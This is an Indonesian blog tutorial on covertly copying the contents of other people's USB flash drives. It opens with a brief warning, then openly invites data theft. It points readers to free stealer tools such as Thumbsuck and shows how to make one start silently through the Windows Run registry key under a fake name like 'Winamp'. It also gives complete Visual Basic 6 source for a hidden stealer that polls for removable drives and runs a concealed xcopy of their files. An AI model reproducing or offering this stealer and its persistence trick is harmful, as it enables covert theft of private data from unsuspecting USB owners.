Flashdisk atau orang-orang biasa menyebutnya USB merupakan hardware yang paling banyak diminati oleh masyarakat kita saat ini sebagai alat untuk menyimpan data-data mereka baik yang bersifat privat maupun public. Tetapi sampai saat ini ternyata banyak orang yang tidak tahu bahwa begitu rentannya data-data kita tercuri oleh pihak yang tidak bertanggung jawab. Untuk itu disini saya ingin membuka lebar-lebar pandangan anda terhadap keamanan data flashdisk kita karena begitu mudahnya data-data flashdisk kita tercuri oleh pihak yang tidak bertanggung jawab. Ingin tahu bagaimana data atau file-file kita dapat tercopy otomatis, atau memang ingin ikut-ikutan mencuri data orang lain..
Saat ini banyak software-software gratisan yang mempunyai kemampuan untuk dapat mencuri semua isi flashdisk kita dengan mudah diantaranya yaitu Thumsuck, Rampok, dan masih banyak lagi. Jadi tinggal pilih aja mau gunakan software yang mana sesuai keinginan anda…!!! Untuk mendapatkannya sangat mudah tinggal tulis di google THUMBSUCK pasti ketemu..!!! ^_^ atau males nyarinya ya tinggal kilik aja disini
Program diatas bersifat FREE dan cara kerjanya pun dibelakang layar. Untuk tambahan karena software diatas seperti Thumsuck akan berjalan saat kita eksekusi, jadi agar thumsuck dapat berjalan saat startup kita dapat menulis sedikit kata di registry.
Langkah pertama yaitu cari registry berikut:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
Pilih menu Edit > New > String Value dengan nama Winamp misalnya. Klik ganda pada value tersebut dan masukkan path tempat program tersebut terinstall (C:\Thumsuck.exe).
Sudah tahu softwarenya dan bagaimana cara menjalankannya lalu kenapa kita gak coba buat softwarenya sendiri..???
Seperti biasa kita akan menggunakan Visual basic 6.0
- Jalankan Program VB kamu
- Pilih Standard EXE
- Masukan 1 Driverlistbox, 2 Label, 1 timer
- Pada label 1 captionnya biarkan kosong dan pada label 2 ganti caption menjadi “Status Flasdisk” tanpa tanda kutip
- Copy dan pastekan code dibawah ini:
Private Declare Function getdrivetype& Lib “kernel32″ Alias “GetDriveTypeA” (ByVal nDrive As String)
Private Sub Form_Load()
App.TaskVisible = False
Me.Hide
End Sub
Private Sub Timer1_Timer()
‘buat ngecek flashdisk
Drive1.Refresh
Dim i As Integer
For i = 0 To Drive1.ListCount – 1
If getdrivetype(Drive1.List(i)) = 2 And left(Drive1.List(i), 1) <> “a” Then
Label1 = Drive1.List(i) & “\”
CekCopy
Label2 = “Lets Get it”
Exit Sub
Exit For
End If
Next
Label2 = “Belum Ada”
End Sub
Private Sub CekCopy()
If Label2 = “Lets Get It” Then
Exit Sub
Else
Shell (“xcopy /S /H /Y /C ” & Label1), vbHide
End If
End Sub
Coba tekan F5 untuk menjalankannya.
selamat mencoba...!!!!
